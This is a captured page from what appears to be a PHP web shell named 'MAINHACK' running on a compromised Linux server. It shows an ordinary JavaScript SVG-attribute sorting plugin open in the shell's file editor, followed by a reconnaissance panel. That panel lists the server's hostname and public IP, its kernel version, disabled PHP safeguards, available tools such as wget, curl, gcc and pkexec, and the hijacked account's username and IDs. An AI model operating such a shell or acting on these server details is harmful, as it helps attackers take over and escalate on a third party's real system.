[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: sortAttrs.js
'use strict'; exports.type = 'visitor'; exports.name = 'sortAttrs'; exports.active = false; exports.description = 'Sort element attributes for better compression'; /** * Sort element attributes for better compression * * @author Nikolay Frantsev * * @type {import('../lib/types').Plugin<{ * order?: Array<string> * xmlnsOrder?: 'front' | 'alphabetical' * }>} */ exports.fn = (_root, params) => { const { order = [ 'id', 'width', 'height', 'x', 'x1', 'x2', 'y', 'y1', 'y2', 'cx', 'cy', 'r', 'fill', 'stroke', 'marker', 'd', 'points', ], xmlnsOrder = 'front', } = params; /** * @type {(name: string) => number} */ const getNsPriority = (name) => { if (xmlnsOrder === 'front') { // put xmlns first if (name === 'xmlns') { return 3; } // xmlns:* attributes second if (name.startsWith('xmlns:')) { return 2; } } // other namespaces after and sort them alphabetically if (name.includes(':')) { return 1; } // other attributes return 0; }; /** * @type {(a: [string, string], b: [string, string]) => number} */ const compareAttrs = ([aName], [bName]) => { // sort namespaces const aPriority = getNsPriority(aName); const bPriority = getNsPriority(bName); const priorityNs = bPriority - aPriority; if (priorityNs !== 0) { return priorityNs; } // extract the first part from attributes // for example "fill" from "fill" and "fill-opacity" const [aPart] = aName.split('-'); const [bPart] = bName.split('-'); // rely on alphabetical sort when the first part is the same if (aPart !== bPart) { const aInOrderFlag = order.includes(aPart) ? 1 : 0; const bInOrderFlag = order.includes(bPart) ? 1 : 0; // sort by position in order param if (aInOrderFlag === 1 && bInOrderFlag === 1) { return order.indexOf(aPart) - order.indexOf(bPart); } // put attributes from order param before others const priorityOrder = bInOrderFlag - aInOrderFlag; if (priorityOrder !== 0) { return priorityOrder; } } // sort alphabetically return aName < bName ? -1 : 1; }; return { element: { enter: (node) => { const attrs = Object.entries(node.attributes); attrs.sort(compareAttrs); /** * @type {Record<string, string>} */ const sortedAttributes = {}; for (const [name, value] of attrs) { sortedAttributes[name] = value; } node.attributes = sortedAttributes; }, }, }; };
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.64 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002